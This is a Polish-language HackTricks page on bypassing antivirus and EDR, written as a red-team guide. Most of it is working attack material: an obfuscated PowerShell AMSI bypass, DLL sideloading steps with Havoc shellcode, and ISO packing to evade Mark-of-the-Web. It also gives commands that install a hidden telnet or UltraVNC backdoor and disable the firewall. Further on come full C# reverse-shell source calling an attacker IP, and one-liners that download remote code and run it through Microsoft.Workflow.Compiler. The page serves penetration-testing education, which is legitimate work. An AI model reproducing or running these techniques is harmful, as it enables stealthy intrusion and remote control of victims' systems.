Antivirus (AV) Bypass

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ta strona została napisana przez @m2rc_p!

Metodologia unikania AV

Obecnie programy antywirusowe (AV) używają różnych metod sprawdzania, czy plik jest złośliwy, czy nie, statyczną detekcję, analizę dynamiczną i dla bardziej zaawansowanych rozwiązań EDR, analizę behawioralną.

Detekcja statyczna

Detekcja statyczna jest osiągana poprzez oznaczanie znanych złośliwych ciągów znaków lub tablic bajtów w pliku binarnym lub skrypcie, a także wyodrębnianie informacji z samego pliku (np. opis pliku, nazwa firmy, sygnatury cyfrowe, ikona, suma kontrolna, itp.). Oznacza to, że korzystanie z znanych publicznych narzędzi może sprawić, że zostaniesz łatwiej wykryty, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia tego rodzaju detekcji:

  • Szyfrowanie

Jeśli zaszyfrujesz plik binarny, AV nie będzie w stanie wykryć twojego programu, ale będziesz potrzebował pewnego rodzaju ładowacza do odszyfrowania i uruchomienia programu w pamięci.

  • Obliteracja

Czasami wystarczy zmienić kilka ciągów znaków w swoim pliku binarnym lub skrypcie, aby ominąć AV, ale może to być zadanie czasochłonne w zależności od tego, co próbujesz zasłonić.

  • Narzędzia niestandardowe

Jeśli opracowujesz własne narzędzia, nie będzie znanych złych sygnatur, ale wymaga to dużo czasu i wysiłku.

Dobrym sposobem sprawdzenia przeciwko statycznej detekcji Windows Defendera jest ThreatCheck. W zasadzie dzieli plik na kilka segmentów, a następnie zleca Defenderowi skanowanie każdego z nich osobno, w ten sposób może ci dokładnie powiedzieć, jakie ciągi znaków lub bajtów są oznaczone w twoim pliku binarnym.

Gorąco polecam sprawdzenie tej playliście na YouTube dotyczącej praktycznego unikania AV.

Analiza dynamiczna

Analiza dynamiczna polega na uruchomieniu twojego binarnego w piaskownicy i obserwowaniu złośliwej aktywności (np. próba odszyfrowania i odczytania haseł z przeglądarki, wykonanie minidump na LSASS, itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.

  • Uśpienie przed wykonaniem W zależności od tego, jak jest zaimplementowane, może to być świetny sposób na ominięcie dynamicznej analizy AV. AV ma bardzo krótki czas na skanowanie plików, aby nie przeszkadzać użytkownikowi w pracy, więc używanie długich uśpienia może zakłócić analizę binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć uśpienie, w zależności od tego, jak jest zaimplementowane.

  • Sprawdzanie zasobów komputera Zazwyczaj piaskownice mają bardzo mało zasobów do pracy (np. < 2 GB RAM), w przeciwnym razie mogłyby spowolnić pracę użytkownika. Możesz także być bardzo kreatywny tutaj, na przykład sprawdzając temperaturę procesora lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.

  • Sprawdzanie konkretnych maszyn Jeśli chcesz skierować się do użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby sprawdzić, czy pasuje do tej, którą określiłeś, jeśli nie, możesz zakończyć działanie programu.

Okazuje się, że komputer piaskownicy Microsoft Defender ma nazwę HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detenacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że znajdujesz się w piaskownicy defendera, więc możesz zakończyć działanie programu.

Kilka innych naprawdę dobrych wskazówek od @mgeeky dotyczących walki z piaskownicami

Jak wspomnieliśmy wcześniej w tym poście, publiczne narzędzia w końcu zostaną wykryte, więc powinieneś zadać sobie pytanie:

Na przykład, jeśli chcesz wykonać dump LSASS, czy naprawdę musisz użyć mimikatz? Czy nie mogłbyś użyć innego projektu, który jest mniej znany i również wykonuje dump LSASS.

Prawdopodobnie właściwą odpowiedzią jest ta druga. Biorąc mimikatz jako przykład, jest to prawdopodobnie jeden z najbardziej oznaczonych przez AV i EDRs szkodliwych programów, podczas gdy sam projekt jest super, jest to również koszmar, aby pracować z nim, aby ominąć AV, więc poszukaj alternatyw dla tego, co chcesz osiągnąć.

Podczas modyfikowania swoich ładunków w celu uniknięcia wykrycia, upewnij się, że wyłączysz automatyczne przesyłanie próbek w defenderze, i proszę, serio, NIE WYSYŁAJ NA VIRUSTOTAL jeśli twoim celem jest osiągnięcie uniknięcia na dłuższą metę. Jeśli chcesz sprawdzić, czy twój ładunek zostanie wykryty przez określonego AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i przetestuj go tam, aż będziesz zadowolony z wyniku.

Pliki EXE vs DLL

Zawsze priorytetyzuj korzystanie z DLL-ów do unikania, moim doświadczeniem, pliki DLL są zazwyczaj znacznie mniej wykrywane i analizowane, więc to bardzo prosty trik do użycia w celu uniknięcia wykrycia w niektórych przypadkach (jeśli twój ładunek ma sposób działania jako DLL oczywiście).

Jak widać na tym obrazie, plik DLL Payload od Havoc ma wskaźnik wykrywalności 4/26 w antiscan.me, podczas gdy plik EXE ma wskaźnik wykrywalności 7/26.

Teraz pokażemy kilka sztuczek, których możesz użyć z plikami DLL, aby być znacznie bardziej skrytobójczym.

Wstrzykiwanie i Proxy DLL

Wstrzykiwanie DLL wykorzystuje kolejność wyszukiwania DLL używaną przez ładowacz, umieszczając zarówno aplikację ofiarę, jak i złośliwe ładunki obok siebie.

Możesz sprawdzić programy podatne na wstrzykiwanie DLL za pomocą Siofra i następującego skryptu powershell:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

To polecenie wyświetli listę programów podatnych na przejęcie DLL wewnątrz "C:\Program Files\" oraz pliki DLL, które próbują załadować.

Gorąco polecam samodzielne zbadanie programów podatnych na przejęcie DLL/Sideloadable, ta technika jest dość skryta, jeśli jest wykonana poprawnie, ale jeśli używasz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać wykryty.

Po prostu umieszczenie złośliwej DLL o nazwie, którą program oczekuje załadować, nie spowoduje załadowania twojego ładunku, ponieważ program oczekuje pewnych konkretnych funkcji w tej DLL. Aby rozwiązać ten problem, skorzystamy z innej techniki o nazwie DLL Proxying/Forwarding.

DLL Proxying przekierowuje wywołania, które program wykonuje z proxy (i złośliwej) DLL do oryginalnej DLL, zachowując tym samym funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.

Będę korzystał z projektu SharpDLLProxy od @flangvik

Oto kroki, które postępowałem:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

Ostatnie polecenie dostarczy nam 2 pliki: szablon kodu źródłowego DLL i oryginalny przemianowany plik DLL.

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

Oto wyniki:

Zarówno nasz shellcode (zakodowany za pomocą SGN), jak i proxy DLL mają wskaźnik wykrywalności 0/26 w antiscan.me! Nazwałbym to sukcesem.

Gorąco polecam obejrzenie twitch VOD S3cur3Th1sSh1t na temat DLL Sideloading oraz filmu ippsec'a, aby dowiedzieć się więcej o omawianych przez nas zagadnieniach w bardziej szczegółowy sposób.

Freeze to zestaw narzędzi do łamania EDRs za pomocą zawieszonych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania

Możesz użyć Freeze do załadowania i wykonania swojego shellcode w dyskretny sposób.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

Unikanie jest jak grę w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, dlatego nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć kilka technik unikania.

AMSI (Interfejs Skanowania Antywirusowego)

AMSI został stworzony, aby zapobiegać "malware'owi bez plików". Początkowo programy antywirusowe były w stanie skanować pliki na dysku, więc jeśli udało ci się uruchomić ładunki bezpośrednio w pamięci, program antywirusowy nie mógł nic zrobić, ponieważ nie miał wystarczającej widoczności.

Funkcja AMSI jest zintegrowana w te komponenty systemu Windows.

  • Kontrola konta użytkownika, czyli UAC (podnoszenie uprawnień plików EXE, COM, MSI lub instalacji ActiveX)

  • PowerShell (skrypty, interaktywne użycie i dynamiczna ocena kodu)

  • Host skryptów systemu Windows (wscript.exe i cscript.exe)

  • JavaScript i VBScript

  • Makra VBA programu Office

Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów, eksponując treść skryptów w formie niezaszyfrowanej i niezaciemnionej.

Uruchomienie IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') spowoduje wyświetlenie następującego alertu w programie Windows Defender.

Zauważ, jak dodaje prefiks amsi: a następnie ścieżkę do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku powershell.exe

Nie zapisaliśmy żadnego pliku na dysku, ale i tak zostaliśmy wykryci w pamięci z powodu AMSI.

Istnieje kilka sposobów obejścia AMSI:

  • Obsługa

Ponieważ AMSI głównie działa z wykrywaniem statycznym, modyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.

Jednak AMSI ma zdolność do odszyfrowywania skryptów nawet jeśli mają one wiele warstw, więc obsługa może być złym wyborem w zależności od tego, jak jest wykonana. Sprawia to, że unikanie nie jest takie proste. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc zależy to od tego, ile coś zostało oznaczone.

  • Ominięcie AMSI

Ponieważ AMSI jest implementowany poprzez ładowanie biblioteki DLL do procesu powershell (również cscript.exe, wscript.exe, itp.), jest możliwe łatwe ingerowanie w niego nawet uruchamiając się jako użytkownik bez uprawnień. Ze względu na tę lukę w implementacji AMSI, badacze znaleźli wiele sposobów na uniknięcie skanowania przez AMSI.

Wymuszenie błędu

Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie uruchomione skanowanie dla bieżącego procesu. Początkowo zostało to ujawnione przez Matt Graeber, a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Wystarczyła jedna linia kodu PowerShell, aby uniemożliwić użycie AMSI dla bieżącego procesu PowerShell. Oczywiście ta linia została wykryta przez sam AMSI, dlatego konieczne jest wprowadzenie pewnych modyfikacji, aby skorzystać z tej techniki.

Oto zmodyfikowane obejście AMSI, które znalazłem w tym Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Modyfikacja pamięci

Ta technika została początkowo odkryta przez @RastaMouse i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonych przez użytkownika danych wejściowych) i nadpisaniu jej instrukcjami zwracającymi kod dla E_INVALIDARG, w ten sposób wynik rzeczywistego skanu zwróci 0, co jest interpretowane jako czysty wynik.

Proszę przeczytać https://rastamouse.me/memory-patching-amsi-bypass/ dla bardziej szczegółowego wyjaśnienia.

Istnieje wiele innych technik używanych do ominięcia AMSI za pomocą powershell, sprawdź tę stronę oraz ten repozytorium, aby dowiedzieć się więcej na ich temat.

Maskowanie

Istnieje kilka narzędzi, które można użyć do maskowania kodu C# w postaci zwykłego tekstu, generowania szablonów metaprogramowania do kompilowania binariów lub maskowania skompilowanych binariów, takich jak:

  • InvisibilityCloak: Odmazywacz C#

  • Obfuscator-LLVM: Celem tego projektu jest dostarczenie otwartej wersji LLVM, która zapewni zwiększone bezpieczeństwo oprogramowania poprzez maskowanie kodu i zabezpieczenie przed ingerencją.

  • ADVobfuscator: ADVobfuscator pokazuje, jak używać języka C++11/14 do generowania, w czasie kompilacji, zasłoniętego kodu bez użycia zewnętrznego narzędzia i bez modyfikowania kompilatora.

  • obfy: Dodaje warstwę zasłoniętych operacji generowanych przez szablonowy framework metaprogramowania C++, co utrudni osobie chcącej złamać aplikację życie.

  • Alcatraz: Alcatraz to zasłoniacz binarny x64, który potrafi zasłonić różne pliki pe, w tym: .exe, .dll, .sys

  • metame: Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.

  • ropfuscator: ROPfuscator to zaawansowany framework maskowania kodu dla języków obsługiwanych przez LLVM, wykorzystujący ROP (programowanie zwracające się). ROPfuscator maskuje program na poziomie kodu maszynowego, przekształcając zwykłe instrukcje w łańcuchy ROP, zwalczając nasze naturalne pojęcie normalnego przepływu sterowania.

  • Nimcrypt: Nimcrypt to krypter .NET PE napisany w Nim

  • inceptor: Inceptor potrafi przekształcić istniejące pliki EXE/DLL w kod shellcode, a następnie załadować je

SmartScreen & MoTW

Możesz spotkać ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i ich uruchamiania.

Microsoft Defender SmartScreen to mechanizm bezpieczeństwa mający na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.

SmartScreen głównie działa w oparciu o podejście oparte na reputacji, co oznacza, że pobieranie aplikacji rzadkości spowoduje uruchomienie SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (choć plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).

MoTW (Mark of The Web) to Alternatywny Strumień Danych NTFS o nazwie Zone.Identifier, który jest automatycznie tworzony podczas pobierania plików z internetu, wraz z adresem URL, z którego został pobrany.

Warto zauważyć, że pliki wykonywalne podpisane zaufanym certyfikatem nie spowodują uruchomienia SmartScreen.

Bardzo skutecznym sposobem zapobiegania otrzymywaniu Mark of The Web przez twoje ładunki jest umieszczenie ich w pewnego rodzaju kontenerze, na przykład w ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) nie może być zastosowany do woluminów nie NTFS.

PackMyPayload to narzędzie, które pakuje ładunki do kontenerów wyjściowych, aby uniknąć Mark-of-the-Web.

Przykładowe użycie:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Oto demo omijania SmartScreen poprzez pakowanie ładunków w plikach ISO za pomocą PackMyPayload

Refleksja Zbioru C#

Ładowanie binarnych plików C# do pamięci jest znane od dłuższego czasu i nadal jest bardzo dobrym sposobem uruchamiania narzędzi post-eksploatacyjnych bez wykrycia przez AV.

Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI dla całego procesu.

Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, itp.) już zapewnia możliwość wykonania zbiorów C# bezpośrednio w pamięci, ale istnieją różne sposoby robienia tego:

  • Fork&Run

Polega na uruchomieniu nowego procesu ofiarnego, wstrzyknięciu złośliwego kodu post-eksploatacyjnego do tego nowego procesu, wykonaniu złośliwego kodu i po zakończeniu zabicia nowego procesu. Metoda fork and run ma swoje zalety i wady. Zaletą tej metody jest to, że wykonanie następuje poza naszym procesem implantu Beacon. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte w naszej akcji post-eksploatacyjnej, istnieje dużo większa szansa na przetrwanie implantu. Wadą jest większe ryzyko wykrycia przez Wykrywanie Zachowań.

  • Inline

Polega na wstrzyknięciu złośliwego kodu post-eksploatacyjnego do własnego procesu. W ten sposób można uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wada polega na tym, że jeśli coś pójdzie nie tak podczas wykonywania ładunku, istnieje dużo większe ryzyko utrata beaconu, ponieważ może on ulec awarii.

Jeśli chcesz dowiedzieć się więcej o ładowaniu zbiorów C#, zapoznaj się z tym artykułem https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ oraz ich InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)

Możesz również ładować zbiory C# z poziomu PowerShell, sprawdź Invoke-SharpLoader oraz film S3cur3th1sSh1t.

Korzystanie z Innych Języków Programowania

Zaproponowane w https://github.com/deeexcee-io/LOI-Bins, jest możliwe wykonanie złośliwego kodu za pomocą innych języków, udostępniając zainfekowanej maszynie dostęp do środowiska interpretera zainstalowanego na kontrolowanym przez atakującego udziale SMB.

Pozwalając na dostęp do binarnych interpreterów i środowiska na udziale SMB, można wykonywać dowolny kod w tych językach w pamięci zainfekowanej maszyny.

Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy większą elastyczność w omijaniu statycznych sygnatur. Testowanie losowych niezaciemnionych skryptów powłoki odwróconej w tych językach udowodniło swoją skuteczność.

Zaawansowane Unikanie

Unikanie jest bardzo skomplikowanym tematem, czasami trzeba wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc jest praktycznie niemożliwe pozostanie całkowicie niezauważonym w dojrzałych środowiskach.

Każde środowisko, z którym się zetkniesz, będzie miało swoje mocne i słabe strony.

Gorąco zachęcam do obejrzenia tego wystąpienia od @ATTL4S, aby uzyskać wgląd w bardziej zaawansowane techniki unikania.

To także kolejne świetne wystąpienie od @mariuszbit na temat Unikania w Głębi.

Stare Techniki

Sprawdź, które części Defender uznaje za złośliwe

Możesz użyć ThreatCheck, który usunie części binarne, aż dowie się, która część Defendera uznaje za złośliwą i podzieli ją dla Ciebie. Innym narzędziem robiącym to samo jest avred z otwartą ofertą usługi w sieci https://avred.r00ted.ch/

pkgmgr /iu:"TelnetServer" /quiet

Uruchom go po uruchomieniu systemu i uruchom go teraz:

sc config TlntSVR start= auto obj= localsystem

Zmień port telnet (stealth) i wyłącz zapórę sieciową:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Pobierz go z: http://www.uvnc.com/downloads/ultravnc.html (chcesz pobrać pliki binarne, a nie instalator)

NA HOSTINGU: Uruchom winvnc.exe i skonfiguruj serwer:

  • Włącz opcję Disable TrayIcon

  • Ustaw hasło w VNC Password

  • Ustaw hasło w View-Only Password

Następnie przenieś plik binarny winvnc.exe oraz nowo utworzony plik UltraVNC.ini do ofiary

Połączenie odwrotne

Atakujący powinien wykonać wewnątrz swojego hostingu binarny vncviewer.exe -listen 5900, aby był gotowy do złapania odwrotnej łączności VNC. Następnie, wewnątrz ofiary: Uruchom demona winvnc winvnc.exe -run i uruchom winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

OSTRZEŻENIE: Aby utrzymać ukrycie, musisz unikać kilku rzeczy

  • Nie uruchamiaj winvnc, jeśli już działa, w przeciwnym razie wywołasz okienko popup. Sprawdź, czy działa, używając tasklist | findstr winvnc

  • Nie uruchamiaj winvnc bez pliku UltraVNC.ini w tym samym katalogu, w przeciwnym razie spowoduje to otwarcie okna konfiguracyjnego

  • Nie uruchamiaj winvnc -h dla pomocy, w przeciwnym razie wywołasz okienko popup

GreatSCT

Pobierz go z: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Wewnątrz GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Teraz uruchom lister za pomocą msfconsole -r file.rc i wykonaj payload xml za pomocą:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Obecny obrońca szybko zakończy proces.

Kompilowanie własnego odwróconego powłoki

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Pierwsza odwrócona powłoka C#

Skompiluj to za pomocą:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Użyj z:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# za pomocą kompilatora

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Automatyczne pobranie i wykonanie:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

Lista obfuskatorów C#: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Korzystanie z pythona do budowy przykładowych wstrzykiwaczy:

Inne narzędzia

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Więcej

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated